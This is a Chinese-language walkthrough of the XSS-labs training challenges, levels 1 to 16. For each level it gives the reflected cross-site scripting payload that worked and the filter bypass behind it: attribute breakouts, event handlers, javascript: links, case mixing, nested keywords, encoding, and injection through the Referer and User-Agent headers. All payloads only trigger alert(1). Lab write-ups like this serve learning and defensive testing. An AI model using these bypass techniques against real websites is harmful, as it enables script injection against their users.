XSS-labs
Level 1
十分友好的第一关
/level1.php?name=<script>alert(1)</script>
Level 2
输入框输入<script>alert(1)</script>
测试一下,查看html输出,发现<input name="keyword" value="<script>alert(1)</script>">
,所以更改一下闭合就可以了
"> <script>alert(1)</script> <"
Level 3
故技重施,但这次value是单引号闭合,然后发现<input name="keyword" value="" >="" <script>alert(1)<="" script>="" <''="">
。查了一下有些字符会被转换为html实体,所以不能使用这些字符。使用其他的事件触发alert。
' onclick='alert(1)
在点击输入框的时候就能跳出alert了
Level 4
故技重施*2,<input name="keyword" value="scriptalert(1)/script">
,这次尖括号直接没了。再用一次onclick吧
" onclick="alert(1)
Level 5
故技重施*3,<input name="keyword" value="<scr_ipt>alert(1)</script>">
,这次是对特定字符串做过滤了。第一反应是用大写绕过,显然题目的考虑在我之上。onclick也被过滤了,又查了查,换成了超链接执行js
"><a href="javascript:alert(1)"><"
Level 6
故技重施*4,但是好像试了几种触发方式都不行,暂时放弃了这一方法,再查。很好,这题是大写绕过,我他喵。。。
"> <Script>alert(1)</script> <"
Level 7
故技重施*5(大概后面都要先有看html这一步了,之后就不写了罢),目测是检测到特定字符串然后删除。把字符串拆开再拼接就可以了。
"> <scrscriptipt>alert(1)</scrscriptipt> <"
Level 8
直接添加超链接,但是有严格的过滤。需要将javascript:alert(1)
进行unicode编码。
javascript:alert(1)
Level 9
直接把上一题的payload提交了一下,发现html显示链接不合法,于是提交了www.baidu.com
,居然还不合法?前面加上https://
,依然不合法。一个从浏览器复制来的url都能说不合法实在不理解,不得已又去查,才知道这题只有检测到http://
才是合法的,我他喵。。。
javascript:alert(1)//http://
Level 10
一看html就发现了奇怪的hidden,直接删掉发现有个输入框,输入字符回车发现url多了一串?t_link=&t_history=&t_sort=
(而且等号右边的内容可以影响到html)。改前端确实有点犯规了,尝试在url调出输入框,发现只有t_sort" type="text"
有用。于是对t_sort下手
?t_link=&t_history=&t_sort=" type="text" onmousemove="javascript:alert(1)"
Level 11
这次html里多了一个t_ref,暂时不知道用处,但是一遍折腾下来发现引号被搞了。又查了一下,果然是t_ref,和referer有关,要抓包往referer里写东西。
Referer: " type="text" onmousemove="alert(1)
Level 12
多长了个心眼,发现html里来了个t_ua
,哎呀这不user-agent吗,还是先来抓个包吧家人们。
user-agent改成" type="text" onmousemove="alert(1)
Level 13
这次是t_cook,大概是cookie了。但网页有显示奇怪的报错,并且cookie直接" type="text" onmousemove="alert(1)
也没有任何反应。看了别人的wp发现应该是buuctf靶机的问题,就当是过了吧(
理论上的payload:Cookie: " type="text" onmousemove="alert(1)
Level 14、15
这两关不知道靶机出啥问题了,都做不了(
Level 16
由于是直接改url过来的,所以一上来一脸懵逼不知道干嘛,查了一下才知道是有个?keyword=
。这题又把script给ban了,甚至unicode编码也ban了。由于跳过了前两题,查了才知道可以用图片搞事,并且这题重点是空格过滤。
?keyword=<img%0asrc=1%0aonerror=alert(1)>